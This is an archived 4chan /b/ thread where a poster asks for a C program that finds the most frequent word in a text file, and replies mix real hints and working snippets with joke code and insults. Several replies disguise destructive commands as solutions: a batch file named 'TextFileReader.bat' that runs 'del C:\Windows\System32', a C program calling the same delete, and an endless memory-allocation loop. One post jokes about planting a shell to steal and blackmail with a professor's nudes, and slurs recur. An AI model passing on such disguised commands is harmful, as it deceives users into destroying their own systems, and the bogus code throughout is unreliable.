[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
Hey /b/ I need a C program to be written for me, I'll pay
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.
The stories and information posted here are artistic works of fiction and falsehood.
Only a fool would take anything posted here as fact.
You are currently reading a thread in /b/ - Random

Thread replies: 82
Thread images: 10
File: download.jpg (7 KB, 264x191) Image search: [Google]
download.jpg
7 KB, 264x191
Hey /b/ I need a C program to be written for me, I'll pay $20 to whoever can write a program that scans a .txt file and finds the most frequently occuring word.
>>
Or at least can point me in the right direction, I can do a steam game.
>>
you can literraly do it yourself in 20 min if you use google, and possible have hope for all humanity
>>
>>610723964
Im having a hard time finding anything
>>
Have you tried java.util.scanner?
>>
>>610724350
Brilliant troll
>>
Help a /b/ro out
>>
File: 2341r23.png (121 KB, 250x301) Image search: [Google]
2341r23.png
121 KB, 250x301
>>610723535
Do your own homework, freshman.
>>
>>610723535
http://www.wordcounter.com/
>>
>>610723535
init.e
send.if{Scan_Document
Wordfiletype = txt,
Plaintext = UTF8.standard;
diff.trace, common;
var.define = int32;
sum = largest}end.if
init.d
exit

You're welcome
>>
>>610723535
Nobody is doing your CS homework here hopefully.

Hints:
>read about file IO, fscanf, fprintf and printf

>read the file
>until a space occurs
>remember this word
>if you don't have it already save it somehow (hashmap?)
>increase a counter for it
>read out highest value and retrieve corresponding word
>>
>>610725104
OP wants C dumbass
>>
>>610725766
Those dubs
>>
>>610725766
>implying that isn't based C
Newfag, you be trollin'
>>
And I'd throw in $1000 if anyone can do it in Malbolge
>>
>>610726260
('&%:9]!~}|z2Cvwz-,PQqponl$Hjig%eB@@>}=<M:9vw5SwU2T|nm-,jcL(I&%$#"
`CB]V!
Tx<uVtG`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqs(Lsmkj"Fhg${s@>
gimme something harder
>>
>>610726675
oops, hit enter in there by mistake
>>
>>610723535
#!/usr/bin/bash
echo "a C program"
cat "$*"|tr ' ' '\n'|sort|uniq -c|sort|tail -1|awk '{print $2}'

save the above lines into "my_C_homework_program"
execute your C program by running the following line:
bash my_C_homework_program some_text_file.txt

your're welcome
>>
>>610726925
>implying he uses loonix
windows is going opensource m9, loonix is kill
>>
>>610725454
>Nobody is doing your CS homework here hopefully
fuck you, you don't tell me what to do

here op: https://www.cs.utexas.edu/users/djimenez/utsa/cs1713-3/c/wordfreq.txt
>>
>>610726675
doesn't do anything
>>
>>610724350
ekekekeke
>>
>>610727505
i posted that i accidentally hit enter you twat
('&%:9]!~}|z2Cvwz-,PQqponl$Hjig%eB@@>}=<M:9vw5SwU2T|nm-,jcL(I&%$#"
`CB]V!Tx<uVtG`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqs(Lsmkj"Fhg${s@>
fix'd
>>
>>610727902
you probably meant
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#" `CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
>>
def initialize(filename)
@words = Hash.new(0)
max = 0
max_word = ""
arr = File.readlines(filename).map! { |row| row.split(/\W/) }.flatten
arr.each do |word|
@words[word.to_sym] += 1
if @words[word.to_sym] > max
max_word = word
max = @words[word.to_sym]
end
end
max_word
end
>>
>>610728382
nope, bretty sure i didn't
>>
Open Notepad and type:
del C:\Windows\System32

Save as "TextFileReader.bat"
Run the file and your Program is made.
>>
Can do it in python :)
>>
Javascript master race:
var in = "This is my input text";
var counter = {};
var max = -1;
var result;
foreach (var w in in.split())
{
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ var c;
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ if (counter[w] === undefined)
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ {
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ c = 1;
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ counter[w] = 1;
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ } else
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ c = ++counter[w];

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ if (c > max)
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ {
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ result = w;
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ max = c;
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ }
}
console.log(result);
>>
File: ewwwwww.gif (858 KB, 240x228) Image search: [Google]
ewwwwww.gif
858 KB, 240x228
>>610729143
>Javascript
>>
>>610726675
RegEx???
>>
>>610729449
The future of programming languages. You can't deny its success in combination with HTML5 or NodeJS.
>>
>>610726260
I'll throw $2000 if anyone does it in brainfuck
>>
This thread is top fucking kek
>>
#include "fileparser.h"

char *mostOccuringWord(HANDLE hFile)
{
return FileParser::parse(hFile, FileParser::MostOccuringWord);
}
>>
>>610729143
>puts opening {s on their own line in JS
>compares against undefined
>no braces around else
>"foreach" wtf?
>>
File: 1428790248257.jpg (50 KB, 312x312) Image search: [Google]
1428790248257.jpg
50 KB, 312x312
>>610729143
>>
>>610729764
Lol js was on its way out when i learned it back in the late 90's
>>
>>610729980
Java, is it you?
>>
>>610730078
and now irs the most used language dumbass
>>
>>610727902
that's gonna work better if you put a # in the middle there to recurse.
>>
>>610729143
>what in gods name is this????

This doesn't even do what OP is asking dumbass
>>
>>610723535
I'll be helpful for once, you bunch of faggots

In pseudocode because fuck you, not going to do your homework for you. Also, not using a most efficient hash table solution because fuck C, no std hash table so it's going to me O(n) with a list.

Assume a struct with two members: char* word, int count
Assume you can make a linked list with that struct

1) Initialise the empty linked list
2) Open file handle
3) while fgets returns something into a var called line loop
3a) explode the line in words (figure it out how to split a string into words)
3b) for each word in the list of words search the linked list for the word you got
3b1) if the word is found, increment its counter
3b2) otherwise, insert the word into the linked list with count = 1
4) close the damn file handle
5) create two vars, int max_count (initialize with zero) and char * most_frequent_word
6) transverse your linked list struct by struct. if the count is bigger than the max_count, max_count = struct.count, most_frequent_word = struct.word

After transversing the linked list, print whatever the most_frequent_word was and free all the memory you used to store the strings.

As I said, there is a much more efficient way to do it but not as easy to explain. Good luck
>>
>>610729776
$3000 for cobalt nigga get on mah lvl.
>>
File: js in a nutshell.png (17 KB, 501x353) Image search: [Google]
js in a nutshell.png
17 KB, 501x353
>>610730172
>>
>>610723535
Just Delete System 32

it'll unlock all dev options
>>
>>610730253
nope, you're lying.
if anything there should be a carrot there like this ^
>>
>>610723535
Do your own homework, bitch.
>>
>>610727144
lol, windose going opensource is literally the death of windose. the only reason it exist is because of proprietary marketing.
>>
{
Jaheiebdlh
$/123/()
}

{
If text ==common == >45
Output (log)
}
>>
>>610729764
I remember when programming C in the early 80s a guy telling me that Forth was going to be the future of programming languages. And down thru the decades, heard a dozen other "future of" languages came in gone. Pascal, RPG, Delphi, VB, etc but mostly we still do C and variants of C.
>>
>>610730078
>AngularJS
>NodeJS
>Backbone.js
>Ember.js
>Handlebars.js
>jQuery
>etc
>>
>>610730460
obv google calc and a fake
>>
>>610730891
thats what you get with js! arbitary random shit.
>>
>>610730078
No its really not node.js is blowing up faster than On Rails

Plus all the frameworks like angluar that use js make it a very robust language.

I'm not a huge fan of soft typed languages but js is worth learning since its the controller to all modern web UIs
>>
File: square.png (2 KB, 562x386) Image search: [Google]
square.png
2 KB, 562x386
>>610730780
fuck you nigga, just me and the turtle
>>
File: free at last free at last.jpg (171 KB, 550x413) Image search: [Google]
free at last free at last.jpg
171 KB, 550x413
>>610730633
it exists because of DirectX newfag

if I could play my video games on Linux, I would be using it.

I wonder if Windows goes open source, Linux will acquire DirectX ?

INB4 everyone uses Linux
>>
GTA V to the person who does it in lolcode
>>
>>610729143
I hope you die and never procreate. Holy shit that's the most eyebleeding javascript I've ever seen.
>>
>>610731376
Linux already has direct X 9 support.
Either way, VULKAN should be popular enough with steamOS and all to not need directX save for a few exclusives
>>
File: macaroni.jpg (79 KB, 500x375) Image search: [Google]
macaroni.jpg
79 KB, 500x375
>>610723535

if you're not able to do this, why are you taking a programming course?
>>
>>610731073
lol
the turtle was a better way to do graphics. the only reason we don't still use it is a global jewish conspiracy.
>>
Code == C

TaskMain()
{
Counter == wait (1)
If text > 5
Console.log
}

Trust me I'm one of the guys who was the on the project who wrote the C language. Believe me.
>>
>>610724350
Thanks man!
>>
File: heavybreathing.jpg (9 KB, 261x193) Image search: [Google]
heavybreathing.jpg
9 KB, 261x193
>>610729143

Jimmies definitely rustled
>>
Lol write it in python and include a shell with the program. Connect to your professor's computer and steal nudes to blackmail him on this project.
>>
>>610730798

'hurr durr Javascript'

Go back to hacker news fuckstick
>>
>>610723535
#/bin/sh

public main() {
dim x as integer
dim text as string;
x = 0;

text = Buffer.getContent("OPtext");

List l = text.getOcurrences;
dim x as public static floating;
x = max(text);

system.out.printf("x");
Free memory;
}
>>
void main()
{
std::cout<<"faggot";
system("del C:\Windows\System32");
}
>>
>>610732221
uh, so you are Kerrigan or Ritche?
>>
Im still needing help /b/
>>
>>610723535
Use Python, could code it in 7 seconds...
>>
>>610733047
dude, slashes in quotes.
>>
>>610733410
Code it in 7 seconds then faggot.
>>
>>610723535
put it into ms word and search for that word.... lol
>>
>>610733571
> Thinking I'm going to do the 12-Year-Old's Homework For Him...
>>
File: kbGr1K8.jpg (33 KB, 640x480) Image search: [Google]
kbGr1K8.jpg
33 KB, 640x480
>>610723535

#include <math.h> /* outputs 8 kHz 8-bit unsigned pcm to stdout */
main(v,i,z,n,u,t){for(v=-1;;)for(n=pow(/* gcc -lm sig.c;./a.out>/dev/dsp */
1.06,"`cW`g[`cgcg[eYcb^bV^eW^be^bVecb^"[++v&31]+(v&64)/21) ,i=999;i;putchar(
128+((8191&u)>i?0:i/8)-((8191&(z+=n))*i-->>16 )))u+=v&1?t/2:(t=v&6?t:n/4);}
>>
>>610733130
Kerrigan
>>
#Include
{
Task main ()
{
Dishes belie/(720'evhwiihj
Dnejhan((57920$))
Eheiwpj35298(?"$&&&&@::
}
If(Character == common)
Output.log == true.
}
>>
>>610730078
tons of nyc jobs using Angular you shitfag
>>
>>610723535
#include <stdlib.h>

int main(){
char* count;
while(1){
count = (char *)malloc(sizeof(char)*1000000000);
}
return 1;
}
>>
>>610730451
>for cobalt
>cobalt
>alt
Thread replies: 82
Thread images: 10

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.